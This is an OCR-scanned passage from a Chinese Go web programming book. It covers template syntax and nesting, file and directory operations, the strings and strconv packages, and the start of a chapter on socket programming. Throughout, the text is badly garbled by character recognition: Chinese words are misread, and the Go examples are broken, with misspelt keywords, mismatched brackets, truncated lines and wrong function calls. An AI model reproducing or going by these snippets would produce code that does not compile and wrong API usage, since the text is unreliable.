we 不 使 用 handler 来 写 演示 代码 ， 而 是 每 个 测试 有 一 个 main， 方 便 
测试 。 
e 使 用 os.Stdout 代 蔡 http.ResponseWriter， 因 为 os.Stdout 实 现 了 
io.Writer 接 口 。 










































模板 中 如 何 插入 数据 


我 们 演示 了 如 何 解 析 并 泻 染 模板 ， 接 下 来 让 我 们 更 加 详细 地 了 解 如 
何 把 数据 泻 染 出 来 。 一 个 模板 都 是 应 用 在 一 个 Go 语言 的 对 象 之 上 ，Go 
语言 对 象 的 字段 如 何 插入 到 模板 中 呢 ? 

字段 操作 

Go 语言 的 模板 通过 {{}} 来 包含 需要 在 泻 染 时 被 普 换 的 字段 ，{{.}} 
表示 当前 的 对 象 ， 这 和 Java 或 者 C++ 中 的 this 类 似 ， DEAN ei 
的 字段 ， 通 过 {{.FieldName} }， 但 是 需要 注意 这 个 字段 必须 是 导 
出 的 (字段 首 字母 必须 大 写 ) ， 否 则 在 泻 染 的 时 候 就 会 报错 ， 请 看 下 面 
的 这 个 例子 。 


package main 








import ( 
"html/template" 
"os" 


type Person struct { 
UserName string 


} 


fune main() ( 


t := template.New("fieldname example") 
t, _ = t.Parse(*hello ({.UserNamet}!") 
p := Person{UserName: "Astaxie"} 


t.Execute(os.Stdout, p) 
} 


上 面 的 代码 可 以 正确 输出 hello Astaxie， 但 是 如 果 我 们 稍微 修改 一 
下 代码 ， 在 模板 中 含有 未 导出 的 字段 ， 就 会 报错 。 
type Person struct { 
UsesNane string 


email string // 未 导出 的 字段 ， 首 字母 是 小 写 的 
j 


t, _ = t.Parse("hello {{.UserNane}}! {{,email})") 

上 面 的 代码 报错 ， 是 因为 我 们 调用 了 一 个 未 导出 的 字段 ， 但 是 如 果 
我 们 调用 了 一 个 不 存在 的 字段 ， 是 不 会 报错 的 ， 而 是 输出 为 空 。 

如 果 模板 中 输出 {{.}}， 这 个 一 般 用 于 字符 串 对 象 ， 默 认 会 调用 fmt 
包 输 出 字符 串 的 内 容 。 

输出 嵌 套 字段 内 容 

上 面 的 例子 展示 了 如 何 针对 一 个 对 象 的 字段 输出 ， 那 么 如 果 字 段 里 








面 还 有 对 象 ， 如 何 来 循环 输出 这 些 内 容 呢 ? 我 们 可 以 使 用 {{with .…}}.… 
{{end}} 和 {{range .…}}{{end}} 来 进行 数据 的 输出 。 

© {{frange}} 和 Go 语言 语法 里 面 的 range 类 似 ， 循 环 操作 数据 。 

o {{fwith}} 操 作 是 指 当前 对 象 的 值 ， 类 似 上 下 文 的 概念 。 

请 看 下 面 的 例子 了 解 如 何 详细 使 用 。 


package main 





import ( 
“html/template™ 
Gen 


) 


type Friend struct { 
Fname string 
} 


type Person struct { 
UserName string 
Emails {] string 
Friends []*Friend 
, 


func main) ( 
Friend{Fname: "minux.ma"} 

xushiwei"} 

fieldname example") 







t, — = t.Parse(C hello ({.UserName}}! 
{{range .Emails}}) 
an email {{.}} 
{{end}} 
1{with .Friends}} 
d{zange .}} 
my friend name is {{.Fname}} 
j{end}} 
i fend) } 
Ri 
p i= Person(UserName: "Astaxie", 


Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"), 
Friends: []*Friend{af1, &f2}} 
t.Execute(os.Stdout, p) 


} 

条 件 处 理 

在 Go 语言 模板 里 ， 如 果 需 要 进行 条 件 判断 ， 可 以 使 用 和 Go 语言 的 
if-else 语 法 类 似 的 方式 来 处 理 ， 如 果 pipeline 为 空 ， 那 么 if 就 认为 是 
false， 下 面 的 例子 展示 了 如 何 使 用 if-else 语 法 。 





package main 


import ( 
"text/template” 
) 


func main() { 






Ag 
空 pipeline if demo: {{if ``}} 





ate.New ("template 
plate. Must (tEmpty.Pa 






不 会 输出 。1 





tdout, nil) 


tWithvalue := template.New ("template test") 
tWithValue = template Must (tWithValue.Parse("A 4h pipeline if demo: 

{{if ‘anything’ 1} 我 有 内 容 ， 我 会 输出 .{ {end}}\n")) 
twithvalue.Execute(os.stdout, nil) 


tIfElse := template .New("template test") 

tIfElse = template Must (tIfElse.Parse ("if-else dema: ({if ‘anything*}} 
if BBM {{else}} else M4. {{end})\n")) 

tIfElse.Execute (os-Stdout, nil) 


通过 上 面 的 演示 代码 可 知 ，if-else 语 法 非常 简单 ， 在 使 用 过 程 中 很 
容易 集成 到 我 们 的 模板 代码 中 


注 : 这 里 面 无 法 使 用 条 件 判断 ， 例 如 .Mail=="astaxie@gmailcom"， 
这 样 的 判断 是 不 正确 的 ，if 里 面 只 能 是 bool 值 。 


pipelines 

UNIX 用 户 已 经 很 熟悉 什么 是 pipe 了 ， 类 似 ls | grep "beego" 这 样 的 语 
法 是 否 经 常 使 用 ， 过 滤 当 前 目录 下 的 文件 ， 显 示 含有 "beego" 的 数据 ， 
表达 的 意思 就 是 前 面 的 输出 可 以 当做 后 面 的 输入 ， 最 后 显示 我 们 想 要 的 
数据 ， 而 Go 语言 模板 最 强大 的 一 点 就 是 支持 pipe 数 据 ， 在 Go 语言 里 面 任 
何 {{}} 里 的 都 是 pipelines 数 据 ， 例 如 我 们 上 面 输出 的 E-mail 里 面 如 果 还 
有 一 些 可 能 引起 XSS 注 入 ， 那 么 我 们 如 何 来 进行 转化 呢 ? 

{{. | html}} 

在 E-mail 输出 的 地 方 ， 我 们 可 以 采用 如 上 方式 把 输出 全 部 转化 html 
的 实体 ， 上 面 的 这 种 方式 和 我 们 平常 写 Unix 的 方式 一 模 一 样 ， 操 作 起 来 
非常 简便 ， 调 用 其 他 的 函数 也 是 类 似 的 方式 。 

模板 变量 

有 时 候 ， Slag eaters CE trae 些 局 部 变量 ， 在 一 些 操 
作 中 申明 局 部 变量 ， 例 如 withrangeif 过 程 中 申明 局 部 变量 ， 这 个 变量 的 











作用 域 是 {{end}} 之 前 ，Go 语 言 通过 申明 的 局 部 变量 格式 如 下 所 示 。 
$variable := pipeline 
请 看 下 面 详细 的 例子 。 
ttwith $x := "output" | printf "sq"JittSxilttendj) 
({with $x := "output")){ (printf "tq" $x}}{{end}} 
{lwith E *output")}({$x | printf "ta")} ((end!) 


模板 在 输出 对 象 的 字段 值 时 ， 采 用 了 fmt 包 把 对 象 转化 成 字符 串 。 
但 是 有 时 候 我 们 的 需求 可 能 不 是 这 个 ， 例 如 我 们 为 了 防止 垃圾 邮件 发 送 
者 通过 采集 网 页 的 方式 来 发 送 给 我 们 的 邮箱 信息 ， 我 们 希望 把 @ 蔡 换 成 
at 例如 : astaxie at beego.me， 如 果 要 实现 这 样 的 功能 ， 我 们 就 需要 自 定 
义 函 数 来 做 这 个 功能 。 

每 一 个 模板 函数 都 有 一 个 唯一 值 的 名 字 ， 然 后 与 一 个 Go 语言 函数 
关联 ， 通 过 如 下 的 方式 来 关联 。 


Wi FuncMap map[string] interface( 


例如 ， 如 果 我 们 想 要 的 E- mail 员 数 的 模板 函数 名 是 mailDeal， ER 
联 的 Go 语言 函数 名 称 是 EmailDealWith,n， 那 么 我 们 可 以 通过 下 面 的 方 
t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) 
EmailDealWith 这 个 函数 的 参数 和 返回 值 定义 如 下 。 
func EmailDealWith(args .interface{}) string 


我 们 来 看 下 面 的 实现 例子 。 


{ 
iendiFnane: "minux.ma"} 
Friend{Fname: "xushiwei"} 
enplate.New("fieldname example") 
t = t.Funcs (template. FuncMap("emaildeal": EmailDealWith]) 
t, = t.Parse(*hello {{.UserName}}! 
{{range .Emails}} 
an emails {{.lenailDeal}} 
{{end}] 

















Friends}} 
e a} 
friend name is {{.Fname}} 





({end}} 


: "Astaxie", 
axie@bsego.me", "astaxicQgmail. 
()*Friend{efl, &f2}} 

stdout, p) 


-上面 演示 了 如 何 自 定义 函数 ， 其 实 ， 在 模板 包 内 部 已 经 有 内 置 的 实 
现 函 数 ， 下 面 代码 截取 自 模板 包 里 面 。 


var builtins = FuncMap{ 









te. 


JSEscaper, 
length, 
not, 

or, 


fmt.Sprint, 








"prii 
"urlquery": URLQuUeryEscaper, 





Must 操 作 


模板 包 里 面 有 一 个 函数 Must， 它 的 作用 是 检测 模板 是 否 正确 ， 例 如 
大 括号 是 否 匹 配 ， 注 释 是 否 正 确 关闭 ， 变 量 是 否 正确 书写 。 接 下 来 我 们 
演示 一 个 例子 ， 用 Must 来 判断 模板 是 否 正确 。 





Package main 


import ( 

"fme" 

“text /template" 
y 


func maint) { 
tOk := template.New("first") 
template.Must (tOk.Parse(" some static text /* and a comment */")) 
fmt.Printin("The first one parsed OK.") 


template.Must (template. New ("second") Parse("some static text 
H Name 3)")) 
fmt.Println("The second one parsed OK.") 


fmt.Println("The next one ought to fail.") 
tErr := template.New("check parse error with Must") 
template.Must (tErr.Parse(" some static text {{ .Name }")) 


输出 内 容 如 下 。 


The first one parsed OK. 
The second one parsed OK. 

The next one ought to fail. 

panic: template: check parse error with Must:1: unexpected "}" in command 


BAK 


我 们 开发 Web 应 用 的 时 候 ， 经 常会 遇 到 一 些 模板 有 些 部 分 是 固定 不 
变 的 ， 可 以 抽取 出 来 作为 一 个 独立 的 部 分 ， 例 如 一 个 博客 的 头 部 和 尾 冰 
是 不 变 的 ， 而 唯一 改变 的 是 中 间 的 内 容 部 分 。 所 以 我 们 可 以 定义 成 
header、content、footer 三 个 部 分 。Go 语 言 通过 如 下 的 语法 来 申明 。 

Udetine " 子 模板 名 称 "}1 内 容 { [endj} 

通过 如 下 方式 来 调用 。 

{1template "了 了 模板 名 称 "} 

接 定 来 我 们 演示 如 何 使 用 展 套 模板 ， 我 们 定义 三 个 文件 ， 
header.tmpl、content.tmpl、footer.tmpl 文 件 ， 内 容 如 下 。 


/ /header.tmpl 
{{define "header"}} 
<html> 
<head> 

<title> 演 示 信息 </title> 
</head> 
<body> 
{{end)} 


//content .tmpl 

{{define “content"}} 

{{template "header"}} 

<hi <at> 

<ul> 
<LI define 定义 子 模板 </11> 
<1i> 调 用 使 用 template</1i> 

<at> 

(itemplate "footer"}} 

{{end)} 


/{footer. tmp] 
({define "footer"}] 
</body> 
</html> 


PERMIT. 


package main 


inport ( 
"fmt" 
anne 
"text/template" 


0 

= template.ParseFiles("header.tmp1", "content.tmpi", "footer.tmp1") 
teTemplate(os.stdout, "header", nil) 

fmt.Printin() 

51.BxccuteTemplate(os.stdout, "content", nil) 

fmt. Printin() 

31.ExecuteTemplate(os.Stdout, "footer", nil) 

fmt. Print1n() 

31.Execute(os.Stdout, nil) 


我 们 可 以 看 到 ， template.ParseFiles 把 所 有 的 嵌 套 模板 全 部 解析 到 模 
板 里 面 ， 其 实 每 一 e ee ee: 个 独立 的 模板 ， 他 们 相互 
独立 ， 是 并 行 存在 的 关系 ， 内 部 存储 的 是 类 似 map 的 一 种 关系 key 是 模 
板 的 名 称 ，value 是 模板 的 内 容 ) ， 然 后 我 们 通过 ExecuteTemplate 来 执行 









相应 的 子 模板 内 容 ， 我 们 可 以 看 到 header、footer 都 是 相对 独立 的 ， 都 能 
输出 内 容 ，contenrt 中 因为 说 套 了 header 和 footer 的 内 容 ， 就 会 同时 输出 
三 个 的 内 容 。 但 是 当 我 们 执行 s1.Execute 后 ， 却 没有 任何 输出 ， 因 为 在 
默认 的 情况 下 ， 没 有 默认 的 子 模板 ， 所 以 不 会 输出 任何 的 东西 。 


YE: 同一 个 集合 类 的 模板 是 互相 知晓 的 ， 如 果 同一 模板 被 多 个 集合 
使 用 ， 则 它 需要 在 多 个 集合 中 分 别 解析 





小 结 


通过 对 模板 的 详细 介绍 ， 我 们 了 解 到 如 何 把 动态 数据 与 模板 融合 : 
如 何 输出 循环 数据 、 如 何 自 定义 函数 、 如 何 嵌 套 模 板 等 等 。 通 过 模板 技 
术 的 应 用 ， 我 们 可 以 完成 MVC 模 式 中 V 的 处 理 ， 接 下 来 的 章节 我 们 将 介 
绍 如 何 来 处 理 M 和 C。 


7.5 文件 操作 


在 任何 计算 机 设备 中 ， 文 件 是 都 是 必须 的 对 象 ， 而 在 Web 编 程 中 ， 
文件 的 操作 一 直 是 Web 程 序 员 经 常 遇 到 的 问题 ， 文 件 操作 在 Web 应 用 中 
是 必须 的 ， 非 常 有 用 ， 我 们 经 常 遇 到 生成 文件 目录 、 文 件 〈 夹 ) 编辑 等 
操作 ， 现 在 我 们 把 Go 语言 中 这 些 操作 做 一 详细 总 结 并 实例 示范 如 何 使 
用 。 


目录 操作 


文件 操作 的 大 多 数 函数 都 是 在 os 包 里 面 ， 下 面 列 举 了 几 个 目录 操 





func Mkdir(name string, perm FileMode) error 

| 建 名 称 为 name 的 目录 ， 权 限 设置 是 perm， 例 如 0777。 
func MkdirAll(path string, perm FileMode) error 

ie 据 path 创 建 多 级 子 目 录 ， 例 如 astaxie/testl/test2 。 

func Remove(name string) error 


MRZE name ER, 当 目录 下 有 文件 或 者 其 他 目录 会 出 错 。 


® func RemoveAll(path string) error 


a 





根据 path 删 除 多 级 子 目 录 ， 如 果 path 是 单个 名 称 ， 那 么 该 目录 不 出 
”下 面 是 演示 代码 。 


package main 


import ( 
“fmt” 
"os" 
) 


func main() ( 
os.Mkdir("astaxie", 0777) 
os.MkdirAll ("astaxie/testi/test2", 0777) 
err := os.Remove("astaxie") 
if err != nil ( 
fmt .Println (err) 
上 
os.Removeall ("astaxie") 
} 


文件 操作 


建立 与 打开 文件 

可 以 通过 如 下 两 个 方法 新 建文 件 。 

e func Create(name string) (file *File, err Error) 

根据 提供 的 文件 名 创建 新 的 文件 ， 返 回 一 个 文件 对 象 ， 默 认 权 限 是 
0666 的 文件 ， 返 回 的 文件 对 象 是 可 读 写 的 。 

e func NewFile(fd uintptr, name string) *File 

根据 文件 描述 符 创 建 相 应 的 文件 ， 返 回 一 个 文件 对 象 。 

可 以 通过 如 下 两 个 方法 来 打开 文件 。 

e func Open(name string) (file *File, err Error) 

该 方法 打开 一 个 名 称 为 name 的 文件 ， 但 是 只 读 方式 ， 内 部 实现 调用 
T OpenFile. 

© func OpenFile(name string, flag int, perm uint32) (file *File, err 
Error) 

打开 名 称 为 name 的 文件 ，flag 是 打开 的 方式 ， 只 读 、 读 写 等 ，perm 
是 权限 。 

写 文件 

写 文件 函数 。 

e func (file *File) Write(b []byte) (n int, err Error) 

写 入 byte 类 型 的 信息 到 文件 。 


© func (file *File) WriteAt(b [Jbyte, off int64) (n int, err Error) 
在 指定 位 置 开 始 写 入 byte 类 型 的 信息 

e func (file *File) WriteString(s string) (ret int, err Error) 
写 入 string 信 息 到 文件 。 

写 文件 的 示例 代码 。 


package main 





import ( 
Sener 
"os" 


i 


func main) { 

userFile :~ "astaxie.txt" 

fout, err := os.Create(userFile) 

if err != nil { 
fmt .Println (userFile, err) 
return 

上 

defer fout .Close() 

for i := 0; i < 10; i++ { 
fout.Writestring("Just a test!\r\n") 
fout Write([]byte ("Just a test! \r\n")) 

上 


读 文件 

读 文件 函数 。 

e func (file *File) Read(b []byte) (n int, err Error) 

读 取 数 据 到 b 中 。 

© func (file *File) ReadAt(b []byte, off int64) (n int, err Error) 
从 off 开 始 读 取 数 据 到 b 中 。 

读 文件 的 示例 代码 。 


package main 


xie.txt" 
-Open luserFile) 





if err != nil { 
fmt.Printin(userFile, err) 
return 

! 

buf := make({]byce, 1024) 





1. Read (buf) 


os.Stdout.Write (buf[:n]) 


“删除 文件 
Go 语言 里 面 删除 文件 和 删除 文件 夹 是 同一 个 函数 。 
® func Remove(name string) Error 


调用 该 函数 就 可 以 删除 文件 名 为 name 的 文件 。 
7.6 字符 串 处 理 
我 们 在 Web 开 发 中 经 常用 到 字符 串 ， 包 括 用 户 的 输入 ， 数 据 库 读 取 











的 数据 等 ， 经 常 需要 对 字符 串 进行 分 割 、 连 接 、 转 换 等 操作 ， 本 节 将 通 
过 Go 语言 标准 库 中 的 strings 和 strconv 两 个 包 的 函数 来 讲解 如 何 进行 有 效 


快速 的 操作 。 


字符 串 操 作 


下 面 这 些 函 数 来 自 于 strings 包 ， 主 要 是 笔者 常用 的 函数 ， 更 详细 的 
请 参考 官方 的 文档 。 
e func Contains(s, substr string) bool 


字符 串 s 中 是 否 包含 substr， 返 回 bool 值 。 





-Printn (strings.Contains("seafood", *foo")) 
Printin(strings.Contains("seafood", “bar")) 
Print1n(strings.Contains ("seafood", "")) 
fmt .Printin(strings.contains("", "*)) 
7/Output: 

/ftrue 

//false 

/VErue 

//true 

e func Join(a []string, so string) string 

字符 中 链接 ， 把 slice a 通 过 sep 链 接 起 来 。 
[lstringi"foo", "bar", "baz"} 
E Join(s, ww ")) 
//output:foo, bar, baz 

e func Index(s, sep string) int 

在 字符 串 s 中 查找 sep 所 在 的 位 置 ， 返 回 位 置 值 ， 找 不 到 返回 -1。 
fmt .Printin (strings. Index ("chicken", "ken")) 

fmt .Println (strings. Index ("chicken", "dmr")) 
//Output:4 

Mal 

e func Repeat(s string, count int) string 


重复 s 字 符 串 count 次 ， 最 后 返回 重复 的 字符 串 。 

fmt .Printin("ba" + strings.Repeat (*na", 2)) 

/ (output :banana 

e func Replace(s, old, new string, n int) string 

在 s 字 符 串 中 ， 把 old 字 符 串 替换 为 new 字 符 串 ，n 表 示 蔡 换 的 次 数 ， 
小 于 0 表示 全 部 替换 。 

fmt .Println(strings.Replace ("oink oink oink", "k", "ky", 2)) 

fmt.Println(strings.Replace ("oink oink oink", "oink", "moo", -1)) 

//Outputzoinky oinky oink 

{moo moo moo 

e func Split(s, sep string) []string 

把 s 字 符 串 按照 sep 分 割 ， 返 回 slice。 

fmt .Printf ("Sq\n", strings Split ("a,b c", *,")) 
Print£("Sq\n", strings.Split("a man a plan a canal panama", "a ")) 
fmt .Printf ("sq\n", strings.Ssplit(" xyz ", ™")) 
fmt .Printf ("sq\n", strings.Split(", "Bernardo O'Higgins") } 
/fOutput:["a" "b" ee] 


























//1"" “man " "plan " "canal panama"] 
Pit x myn mz" mn 
2/8") 


e func Trim(s string, cutset string) string 

在 s 字 符 串 中 去 除 cutset 指 定 的 字符 串 。 

fme.Printf(*(%q]", strings.Trim(" !!! Achtung !!! *, *! *)) 
Output: ["Achtung"] 


e func Fields(s string) []string 

去 除 s 字 符 串 的 空格 符 ， 并 且 按照 空格 分 割 返回 slice。 
fmt.Printf ("Fields are: $q", strings.Fields(" foo bar baz ")) 
//Output:Fields are: ["foo" "bar" *baz"] 


字符 串 转 换 


字符 串 转 化 的 函数 在 strconv 中 ， 一 些 常用 的 函数 列表 如 下 所 示 。 
wits Append 系 列 函 数 将 整数 等 转换 为 字符 串 后 ， 添 加 到 现 有 的 字 节 


package main 











import ( 
nfmt" 
“stroonv" 


) 


func main() { 
str := make([]byte, 0, 100) 
str = strconv.Appendint (str, 4567, 10) 
= strconv.appendtool (str, false) 
str = strconv.AppendQuote(str, "abcdefg") 
= strconv.appendguoterune (str, M") 
Emt Peintin (string (ste) ) 


fe Format 系 列 函数 把 其 他 类 型 的 转换 为 字符 串 。 


package main 





import ( 
“fmt" 
“strconv" 
) 


func main() ( 

strconv.FormatBool (false) 
strconv.FormatFloat (123.23, 'g', 12, 64) 
strconv.Format Int (1234, 10) 
strconv.FormatUint (12345, 10) 

© := strconv.Itoa (1023) 

fmt-Printin(a, b, cr d, e) 


。 Parse 系 列 函数 把 字符 串 转 换 为 其 他 类 型 


b 
a 





package main 


import ( 
"Ene" 
nstrconv™ 






rconv.ParseBool ("false") 
lq 
fmt .Println(err) 






} 
b, err := strconv.ParseFloat ("12 64) 
if err != nil | 
fmt. Println (err) 
} 
ey := strconv.Parseint 





t= nil { 
-Printin(err) 


= streonv.ParseUint("12345", 10, 64) 
I= nil { 
fmt .Print1n (err) 





= strconv.Itoa ("1023") 
nil { 
fmt .erintln(err) 





} 
fmt.Printinta, b, c, d, €) 
} 


7.7 总 结 


本 章 给 读者 介绍 了 一 些 文本 处 理 的 工具 ， 包 括 XML、JSON、 正 则 
和 模板 技术 ，XML 和 JSON 是 数据 交互 的 工具 ， 通 过 XML 和 JSON 可 以 
表达 各 种 含义 ， 通 过 正则 可 以 处 理 文本 〈 搜 索 、 蔡 换 、 截 取 ) ， 通 过 模 
板 技术 可 以 展现 这 些 数据 给 用 户 。 这 些 都 是 开发 Web 应 用 过 程 中 需要 用 
到 的 技术 ， 通 过 这 些 介绍 ， 读 者 朋友 能 够 了 解 如 何 处 理 文本 、 展 现 文 
本 。 





第 8 章 ”Web 服务 


Web 服 务 可 以 让 你 在 HTTP 协 议 的 基础 上 通过 XML 或 者 JSON 来 交换 
信息 。 如 果 你 想 知道 上 海 的 天 气 预报 、 中 国 石油 的 股价 或 者 淘宝 商家 的 
某 个 商品 信息 ， 可 以 编写 一 段 简短 的 代码 ， 抓 取 这 些 信息 ， 然 后 通过 标 
准 的 接口 开放 出 来 ， 就 如 同调 用 一 个 本 地 函数 并 返回 一 个 值 。 

Web 服 务 背 后 的 关键 在 于 平台 的 无 关 性 ， 你 可 以 在 Linux 系 统 运 行 
服务 ， 可 以 与 其 他 Window 的 asp.net 程 序 交 互 ， 同 样 ， 也 可 以 通过 同一 
个 接口 和 运行 在 FreeBSD 上 面 的 JSP 无 障碍 地 通信 。 

目前 主流 的 有 两 种 web 服务 : REST 和 SOAP。 

REST 请 求 很 直观 ， 因 为 REST 是 基于 HTTP 协 议 的 一 个 补充 ， 它 的 
每 一 次 请 求 都 是 一 个 HTTP 请 求 ， 然 后 根据 不 同 的 method 来 处 理 不 同 的 
逻辑 ， 很 多 Web 开 发 者 都 熟悉 HTTP 协 议 ， 所 以 学 习 REST 是 一 件 比 较 容 
易 的 事情 。 我 们 将 在 第 8.3 节 详细 讲解 如 何在 Go 语言 中 实现 REST 方 式 。 

SOAP 是 W3C 在 跨 网 络 信息 传递 和 远程 计算 机 函数 调用 方面 的 一 
标准 。SOAP 非 常 复杂 ， 其 完整 的 规范 篇 幅 很 长 ， 而 且 内 容 仍 然 在 增 
加 。Go 语 言 是 以 简单 著称 ， 所 以 我 们 不 会 介绍 SOAP 这 样 复 杂 的 东西 。 
而 Go 语言 提供 了 一 种 天 生性 能 很 不 错 ， 开 发 起 来 很 方便 的 RPC 机 制 ， 我 
们 将 会 在 第 8.4 节 详细 介绍 如 何 使 用 Go 语言 来 实现 RPC。 

Go 语言 是 21 世 纪 的 C 语 言 ， 我 们 追求 的 是 性 能 、 简 单 ， 所 以 我 们 将 
在 第 8.1 节 介绍 如 何 使 用 Socket 编 程 ， E WRIA ER H Soeki 
写 服务 端 ， 因 为 HTTP 协 议 相对 而 言 比较 耗费 性 能 ， 让 我 们 看 看 Go 语言 
如 何 来 Socket 编 程 。 随 着 HTML5 的 发 展 ，WebSockets 也 逐渐 的 成 为 很 多 
网 页 游戏 公司 接 下 来 开发 的 一 些 手 段 ， 我 们 将 在 第 8.2 节 讲解 Go 语言 如 
何 编写 WebSockets 的 代码 。 























8.1 ”Socket 编 程 


在 很 多 底层 网 络 应 用 开发 者 的 眼 里 ， 一 切 编程 都 是 Socket， 话 虽 夸 
张 ， 但 却 的 确 如 此 。 现 在 的 网 络 编程 几乎 都 是 用 Socket 来 编程 。 你 想 过 
这 些 情景 么 ? 我 们 每 天 打开 浏览 器 浏览 网 页 时 ， 浏 览 器 进程 怎么 和 Web 
服务 器 通信 ? 当 你 用 QQ 聊天 时 ，QQ 进 程 怎 么 和 服务 器 或 者 是 你 的 好 
所 在 的 QQ 进程 进行 通信 ? 当 你 打开 PPstream 观 看 视频 时 ，PPstream 进 程 








如 何 与 视频 服务 器 进行 通信 ? 如 此 种 种 ， 都 是 靠 Socket 来 通信 ， 一 斑 罕 
全 豹 ， 可 见 Socket 编 程 在 现代 编程 中 占据 了 多 么 重要 的 地 位 ， 本 节 我 们 
将 介绍 Go 语言 中 如 何 进行 Socket 编 程 。 


什么 是 Socket 


Socket 起 源 于 Unix， 而 Unix 基 本 哲学 之 一 就 是 "一切 皆 文 件 *， 都 可 
以 用 “打开 open 一 读 写 write/read 一 关闭 close” 模 式 来 操作 。Socket 就 是 该 
模式 的 一 个 实现 ， 网 络 的 Socket 数 据 传输 是 一 种 特殊 的 HO，Socket 也 是 
一 种 文件 描述 符 。Socket 也 具有 一 个 类 似 于 打开 文件 的 函数 调用 : 
Socket()， 该 函数 返回 一 个 整 型 的 Socket 描 述 符 ， 随 后 的 连接 建立 、 数 据 
传输 等 操作 都 是 通过 该 Socket 实 现 。 

常用 的 Socket 类 型 有 两 种 ， 流 式 Socket (SOCK_STREAM) 和 数据 
报 式 Socket (SOCK_DGRAM) 。 流 式 是 一 种 面向 连接 的 Socket， 针 对 
于 面向 连接 的 TCP 服 务 应 用 ， 数 据 报 式 Socket 是 一 种 无 连接 的 Socket， 
对 应 于 无 连接 的 UDP 服务 应 用 。 


Socket 如 何 通信 


网 络 中 的 进程 之 间 如 何 通过 Socket 通 信 呢 ? 首要 解决 的 问题 是 如 何 
唯一 标识 一 个 进程 ， 否 则 通信 无 从 谈 起 ! 在 本 地 可 以 通过 进程 PID 来 唯 
一 标识 一 个 进程 ， 但 是 在 网 络 中 这 是 行 不 通 的 。 其 实 TCP/IP 协 议 族 已 经 
帮 我 们 解决 了 这 个 问题 ， 网 络 层 的 “IP 地 址 ”可 以 唯一 标识 网 络 中 的 主 
机 ， 而 传输 层 的 “协议 十 端口 "可 以 唯一 标识 主机 中 的 应 用 程序 〈 进 
程 ) 。 这 样 利用 三 元 组 〈IP 地 址 ， 协 议 ， 端 口 ) 就 可 以 标识 网 络 的 进程 
了 ， 网 络 中 需要 互相 通信 的 进程 ， 就 可 以 利用 这 个 标志 在 他 们 之 间 进 行 
交互 。TCP/IP 结 构 位 于 如 图 8.1 所 示 的 七 层 网 络 协 议 图 的 中 间 部 分 。 











图 8.1 七 层 网 络 协议 图 


使 用 TCP/IP 的 应 用 程序 通常 采用 应 用 编程 接口 ，UNIX BSD 的 套 接 
字 (Socket) 和 UNIX System V 的 TLI (已 经 被 淘汰 ) ， 来 实现 网 络 进程 
之 间 的 通信 。 就 目前 而 言 ， 几 乎 所 有 的 应 用 程序 都 是 采用 Socket， 而 现 
在 又 是 网 络 时 代 ， 网 络 中 进程 通信 无 处 不 在 ， 这 就 是 为 什么 说 “一 切 皆 
Socket”. 











Socket 基 础 知识 


通过 上 面 的 介绍 我 们 知道 Socket 有 两 种 : TCP Socket 和 UDP 
Socket，TCP 和 UDP 是 协议 ， 而 要 确定 一 个 进程 需要 三 元 组 ， 还 需要 了 
地 址 和 端口 。 

IPv4 地 址 

目前 全 球 Internet 所 采用 的 协议 族 是 TCP/IP。IP 是 TCP/IP 中 网 络 层 的 
协议 ， 是 TCP/IP 族 的 核心 协议 。 目 前 主要 采用 的 IP 版 本 号 是 4 (简称 为 
IPv4) ， 发 展 至 今 已 经 使 用 了 30 多 年 。 

IPv4 的 地 址 位 数 为 32 位 ， 也 就 是 最 多 有 2 的 32 次 方 的 网 络 设备 可 以 
联 到 Internet 上。 地 址 格式 类 似 为 ，127.0.0.1 172.122.121.111。 近 十 年 来 
由 于 互联 网 的 蓬勃 发 展 ，IP 位 址 的 需求 量 愈 来 钝 大 ， 使 得 IP 位 址 的 发 放 





愈 趋 紧张 ， 前 一 段 时 间 ， 据 报道 IPv4 的 地 址 已 经 发 放 完毕 ， 目 前 很 多 服 
务 器 的 IP 都 是 一 个 宝贵 的 资源 。 

IPv6 地 址 

IPv6 是 下 一 版 本 的 互联 网 协议 ， 也 可 以 说 是 下 一 代 互 联网 的 协议 ， 
它 是 为 了 解决 IPv4 在 实施 过 程 中 遇 到 的 各 种 问题 而 被 提出 的 ，IPv6 采 用 
128 位 地 址 长 度 ， 几 乎 可 以 不 受 限制 地 提供 地 址 。 地 址 格式 类 似 为 
2002:c0e8:82e7:0:0:0:c0e8:82e7。 按 保守 方法 估算 IPv6 实 际 可 分 配 的 地 
址 ， 可 支持 整个 地 球 的 每 平方 米面 积 上 各 分 配 1000 多 个 地 址 。IPv6 的 设 
计 过 程 除了 一 劳 永 逸 地 解决 了 地 址 短缺 问题 以 外 ， 还 考虑 了 在 IPv4 中 解 
决 不 好 的 其 他 问题 ， 主 要 有 端 到 端 IP 连 接 、 服 务 质 量 (QoS) 、 安 全 
性 、 多 播 、 移 动 性 、 即 插 即 用 等 。 


Go 语言 支持 的 IP 类 型 
Go 语言 的 net 包 中 定义 了 很 多 类 型 、 函 数 和 方法 用 来 网 络 编程 ， 其 
中 IP 的 定 as 


type IP []byte 


net 包 中 有 有 很 多 函数 来 操作 IP， 但 是 比较 有 用 的 较 少 ， 其 中 ParseIP(s 
string) IP 函 数 会 把 一 个 IPv4 或 者 IPv6 的 地 址 转化 成 IP 类 型 ， 请 看 下 面 的 
i 。 
PT uman 
import c 








"o 
"fmt" 
func main() { 


"Usage: %s ip-addr\n", os.Args[0]) 











s-Args[1] 
iet. ParseIP (name) 


intlnl"Invalid address") 





fmt.Println{"The address is ", addr.String()) 
} 
os.Exit (0) 


执行 之 后 你 就 会 发 现 只 要 输入 一 个 卫 地 址 ， 就 会 给 出 相应 的 卫 格 


式 。 


TCP Socket 


当 我 们 知道 如 何 通过 网 络 端口 访问 一 个 服务 时 ， 我 们 能 够 做 什么 
呢 ? 作为 客户 端 来 说 ， 我 们 可 以 通过 向 远 端 某 台 机 器 的 某 个 网 络 端口 发 











送 一 个 请 求 ， 然 后 得 到 机 器 在 此 端口 上 监听 的 服务 反馈 的 信息 。 作 为 服 
务 端 ， 我 们 需要 把 服务 绑 定 到 某 个 指定 端口 ， 并 且 在 此 端口 上 监听 ， 当 


有 客户 端 来 访问 时 能 够 读 取信 息 并 且 写 入 反馈 信息 。 

在 Go 语言 的 net 包 中 有 一 个 类 型 TCPConn， 这 个 类 型 可 以 用 来 作为 
客户 端 和 服务 器 端 交互 的 通道 ， 它 有 两 个 主要 的 函数 。 

func (c *TCPConn) Write(b []byte) (n int, err os.Error) 

